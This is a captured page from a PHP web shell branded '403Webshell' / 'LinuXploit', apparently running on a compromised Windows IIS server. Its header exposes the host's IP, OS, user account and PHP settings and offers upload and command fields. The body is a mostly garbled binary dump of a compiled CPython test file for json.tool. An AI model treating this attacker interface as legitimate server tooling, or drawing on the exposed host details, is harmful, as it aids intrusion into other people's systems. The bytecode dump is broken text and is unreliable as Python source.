403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_json/__pycache__/test_tool.cpython-315.pyc
R
>lqj�,c�x�]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH$G
s
GsGs]QH4Gs]QH<Gs\O"2\O$QQ\O&222s\O"2\O$QQ\222s\Q	6Xc\O.2P!P!)
�)�support)�force_colorized�force_not_colorized�	os_helper)�assert_python_ok)�	get_themec��`�\sQs]snQsQs\OQ2s\OQ2s	\OQ2s
\OQ2s\Q2s
QQksQ	sQ
sQsQs\Q
2s\Q2sQsQs\Q2s\Q2s\Q2s\Q2sQsQs\\O<\O@Q6HQ2Q22s!\"Q2s#Qs$Us%P!)�TestMainz�

        [["blorpie"],[ "whoops" ] , [
                                 ],	"d-shtaeou",
"d-nthiouh",
        "i-vhbjkhnth", {"nifty":87}, {"morefield" :	false,"field"
            :"yes"}  ]
           �jsona.    [
        [
            "blorpie"
        ],
        [
            "whoops"
        ],
        [],
        "d-shtaeou",
        "d-nthiouh",
        "i-vhbjkhnth",
        {
            "nifty": 87
        },
        {
            "field": "yes",
            "morefield": false
        }
    ]
    a.    [
        [
            "blorpie"
        ],
        [
            "whoops"
        ],
        [],
        "d-shtaeou",
        "d-nthiouh",
        "i-vhbjkhnth",
        {
            "nifty": 87
        },
        {
            "morefield": false,
            "field": "yes"
        }
    ]
    zr    {"ingredients":["frog", "water", "chocolate", "glucose"]}
    {"ingredients":["chocolate","steel bolts"]}
    z�    {
        "ingredients": [
            "frog",
            "water",
            "chocolate",
            "glucose"
        ]
    }
    {
        "ingredients": [
            "chocolate",
            "steel bolts"
        ]
    }
    c��[OQUO1o[OVO
P	P	P	Q5oUO
UOUO2UO
UOP2P!)�-m��input�capture_output�text�check)
�sys�
executable�module�
subprocess�run�data�assertEqual�stdout�expect�stderr��self�args�processs&  �-C:\Python315\\Lib\test\test_json\test_tool.py�test_stdin_stdout�TestMain.test_stdin_stdout^s\���~�~�t�T�[�[�0���.�.��Y�Y�t�RV�^b�c�����������5��������,�c��[Oo[UQQQ59^tt^2oUO[O
U2SO
S9%f
UO2PPP2U!)%fhS!9h)�w�utf-8��encoding)r�TESTFN�open�
addCleanup�os�remove�writer)rr�infile�fps&&  r �_create_infile�TestMain._create_infileesd���!�!��
�&�#��
0�
0�B��O�O�B�I�I�v�.��H�H�T�&�&�T�Y�Y�'�1��
�1�
0��
�s�4A8�A8�8B		�B		c�4�UO2o[QUOUQQ5vq#oUOU]2UOUO	2UO
O
2O	22UOUQ2P!)r�0��
PYTHON_COLORSr#)r1rrr�
splitlinesr�encode�rr/�rc�out�errs&    r �test_infile_stdout�TestMain.test_infile_stdoutlsx���$�$�&��'��d�k�k�6�69�;��������Q��������)�4�;�;�+=�+=�+?�+J�+J�+L�M�����c�"r#c�R�Qo[OQ2O2oUOU2o[	QUO
UQQ5vqEoUO
U]2UO
UO2UO22UO
UQ2P!)u{"msg": "こんにちは"}zP        {
            "msg": "\u3053\u3093\u306b\u3061\u306f"
        }
        rr4r5r#)�textwrap�dedentr8r1rrrr7)rrrr/r:r;r<s&      r �test_non_ascii_infile�TestMain.test_non_ascii_infilets���:�����"�
��V�X�		��$�$�T�*��'��d�k�k�6�69�;����	
����Q��������)�6�+<�+<�+>�?�����c�"r#c���UO2o[OQ*o[QUOVQQ5vq4oUO[OU2[UQQQ59^tt^2oUOUO2UO2PPP2UOU]2UOUQ2UOUQ2P!)%fhKH9h)�.outrr4r5�rr&r'r#)r1rr)rrr+r,r-r*r�readr)rr/�outfiler:r;r<r0s&      r �test_infile_outfile�TestMain.test_infile_outfile�s����$�$�&���"�"�V�+��'��d�k�k�6�69�;��������	�	�7�+�
�'�3��
1�
1�R����R�W�W�Y����4�2�����Q������c�"�����c�"�	2�
1�s�;+C&�&C6	�/C6	c��UO2o[QUOVQQ5vq#o[UQQQ59^tt^2oUO	UO2UO2PPP2UO	U]2UO	UQ2UO	UQ2P!)%fhKH9h)rr4r5rFr&r'r#)r1rrr*rrGr)rr/r:r;r<r0s&     r �test_writing_in_place�TestMain.test_writing_in_place�s����$�$�&��'��d�k�k�6�69�;����
�&�#��
0�
0�B����R�W�W�Y����4�1�����Q������c�"�����c�"�	1�
0�s�+B/�/B?	�8B?	c��[OQUOQ1o[OVO
P	P	P	Q5oUO
UOUO2UO
UOP2P!)r�--json-linesr
)
rrrrr�
jsonlines_rawrr�jsonlines_expectrrs&  r �test_jsonlines�TestMain.test_jsonlines�sc���~�~�t�T�[�[�.�@���.�.��-?�-?�PT�[_�gk�l���������)>�)>�?��������,r#c�T�[O[2OQ*o[O
QUOQU1o[OUP	P	P	Q5oUOUOUO2UOUOP2P!)zjson_lines.jsonlrrO)rrr)
�pathlib�Path�__file__�parentrrrrrrrrQr)r�jsonlrrs&   r �test_jsonlines_from_file�!TestMain.test_jsonlines_from_file�sv�����X�&�-�-�0B�B���~�~�t�T�[�[�.�%�G���.�.��d��T�R���������)>�)>�?��������,r#c��[QUOQQQ5vqoUOU]2UOUQ2UOUQ2P!)rz-hr4r5susage: r#)rrr�assertStartsWith)rr:r;r<s&   r �test_help_flag�TestMain.test_help_flag�sM��'��d�k�k�4�69�;��������Q�����c�:�.�����c�"r#c�6�UO2o[QUOQUQQ5vq#oUOU]2UOUO	2UO
O
2O	22UOUQ2P!)rz--sort-keysr4r5r#)r1rrrr7�expect_without_sort_keysr8r9s&    r �test_sort_keys_flag�TestMain.test_sort_keys_flag�s����$�$�&��'��d�k�k�=�&�69�;��������Q��������)��6�6�=�=�?�J�J�L�	N�����c�"r#c��Qo[OQ2o[OQUOQQ1o[
OV1P	P	P	Q5oUOUOU2UOUOP2P!)�[1, 2]z5        [
          1,
          2
        ]
        rz--indent�2r
)
r@rArrrrrrrr�r�input_rrrs&    r �test_indent�TestMain.test_indent�sq�������"�
���~�~�t�T�[�[�*�c�A���.�.��D�t�[_�`���������0��������,r#c���QoQo[OQUOQ1o[OV1P	P	P	Q5oUOUOU2UOUOP2P!)z[1,
2]z[1, 2]
rz--no-indentr
�rrrrrrrrrgs&    r �test_no_indent�TestMain.test_no_indent�s_�������~�~�t�T�[�[�-�?���.�.��D�t�[_�`���������0��������,r#c���QoQo[OQUOQ1o[OV1P	P	P	Q5oUOUOU2UOUOP2P!)rez[
	1,
	2
]
rz--tabr
rlrgs&    r �test_tab�TestMain.test_tab�s_����$���~�~�t�T�[�[�'�9���.�.��D�t�[_�`���������0��������,r#c���QoQo[OQUOQ1o[OV1P	P	P	Q5oUOUOU2UOUOP2P!)z	[ 1 ,
 2]z[1,2]
rz	--compactr
rlrgs&    r �test_compact�TestMain.test_compact�s_�������~�~�t�T�[�[�+�=���.�.��D�t�[_�`���������0��������,r#c	��UOQ2o[OQ*oUO[O
U2[
QUOQUUQQ5[UQ29^tt^2oUO2O2oPPP2,QNoUOWU2P!)%fhK(9h)�{"key":"💩"}rErz--no-ensure-asciir4r5�rb)�{s    "key": "💩"�}�r1rr)r+r,r-rrr*rGr7r�rr/rH�f�lines�expecteds&     r �test_no_ensure_ascii_flag�"TestMain.test_no_ensure_ascii_flag�s����$�$�%5�6���"�"�V�+������	�	�7�+���t�{�{�,?�� ��	5�
�'�4�
 �
 �A��F�F�H�'�'�)�E�!�B�������)�	!�
 �s�9B8�8C	�C	c��UOQ2o[OQ*oUO[O
U2[
QUOVQQ5[UQ29^tt^2oUO2O2oPPP2,QNoUOWU2P!)%fhK(9h)rvrErr4r5rw)rxs    "key": "\ud83d\udca9"ryrzr{s&     r �test_ensure_ascii_default�"TestMain.test_ensure_ascii_default�s����$�$�%5�6���"�"�V�+������	�	�7�+���t�{�{�F�3�O�
�'�4�
 �
 �A��F�F�H�'�'�)�E�!�?�������)�	!�
 �s�7B6�6C	�?C	�win32z-The test is failed with ValueError on Windowsc�V�[OQUO,o[OU[O
[O
Q5oUOO2UOQ2UOUO[O2P!)r)r�stdins"{}")
rrrr�Popen�PIPEr�close�communicater�
returncode�errno�EPIPE)r�cmd�procs&  r �test_broken_pipe_error�TestMain.test_broken_pipe_error�sp���~�~�t�T�[�[�1������'1���&0�o�o�7��	
����������!�������%�+�+�6r#c���[OoUO[OU2[2OoQoQoQ)Q*QUOQUO01QUOQUO01QUOQUO01QUOQUO01QUOQUO01QUOQUO01QUOQUO01Q	UOQ	UO01Q
UOQUO01QUOQUO01Q
UOQ
UO01QUQUOQUOQUOQUOQU01QUQUOQUOQUOQUOQU01QPO,UMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQMUOMQ MUM211oSFD�vqgUOUQ!59^tt^2[UQ"Q#Q$59^tt^2oUOU2PPP2[!Q%UO"UQ&Q&Q'5vq�o	U
O%2oUO'Q(Q2oUO)2oUO+V�2PPP2J�	P!)%fhK~9h)%fhJ�9h)+�{�}�null�true�false�NaN�Infinityz	-Infinityz"foo"z" \"foo\" "u"α"z"\u03b1"�123z	-1.25e+23z
{"\\": ""}z
    z"\\"z: z""�
z{"\\\\": ""}z"\\\\"zl{
    "foo": "bar",
    "baz": 1234,
    "qux": [true, false, null],
    "xyz": [NaN, -Infinity, Infinity]
}z"bar"z,
    z"baz"�1234z"qux"z: [
        z
,
        z
    ],
    z"xyz"z
    ]
)rr%r&r'r�1)�FORCE_COLOR�
__isolatedz
)�{}r�)�[]r�)rr)r+r,r-r�syntax�keyword�reset�number�string�
definition�join�subTestr*r.rr�decode�replace�stripr)rr/�t�ob�cb�casesrhr~r0�_�stdout_brs&           r �test_colors�TestMain.test_colorssH���!�!������	�	�6�*��K����
��
��
��
��	�	�{�$�q�w�w�i�0�1�
��	�	�{�$�q�w�w�i�0�1�
�����5����	�2�3�
�q�x�x�j��A�G�G�9�-�.�
�A�H�H�:�X�a�g�g�Y�7�8�
�Q�X�X�J�i����y�9�:�
����
�%����y�1�2�
����z��q�w�w�i�@�A�
����z��1�7�7�)�4�5�
�q�x�x�j��A�G�G�9�-�.�
�Q�X�X�J�i����y�9�:�
�����\�\�N�&����	��A�H�H�:�R����y�9����
	�
�����\�\�N�*�Q�W�W�I�R����z��A�G�G�9�=����
	�
���������\�\�N�������y�� "��#$�8�8�*��,1��23�'�'���;���\�\�N�������y��!#��$%�8�8�*��-1��23���	��:���\�\�N�	��	����y�	�!	�	�

�����
��
���y��
!	��
����
��
����	�
�"	�
�
����������y��!���\�\�N�������y��!	��
���
�����g�g�Y��	��
���
�����G�G�9��%	��
���
�����7�7�)��$�����
	�1.
��`!&��F����F��+�+��&�#��8�8�B��H�H�V�$�9�!1��$�+�+�v�3�3�"���Q�"���*�������5�������� � ��2�,�+�!&�8�8��,�+�+�s1�Q	�5P=
�A(Q	�=Q
�Q
�Q	�Q!
�Q!
�)N)&�__name__�
__module__�__qualname__�__firstlineno__rrr@rArarrPrQrr!r1r=rBrIrLrRrZr^rbrirmrprsrr��unittest�skipIfr�platformr�rr��__static_attributes__�__classdictcell__)�
__classdict__s@r r	r	sh�����D��F�'���0� 	��,�_�_��	�F�,�O�O�%�	�M�
 ���(�	��"�-��-��#�#� 
#�#��-��-��-��-�#�#��-��-��-��-��-��-��-��-�
*�	*��
�_�_�S�\�\�G�+�-\�]�7�^��7��B3��B3r#r	c��\sQsQsQsQsP!)�TestTool�Kz	json.toolr�)r�r�r�r�rr�r�r#r r�r�Ks	���Fr#r��__main__)r�rUr,rr@r�r�testr�test.supportrrr�test.support.script_helperr�	_colorizer�requires_subprocess�skip_if_pgo_task�TestCaser	r�r��mainr�r#r �<module>r�s�����	�
�����H�H�7��	�������v3�x� � �v3���v3�r		��������x������z���M�M�O�r#

Youez - 2016 - github.com/yon3zu
LinuXploit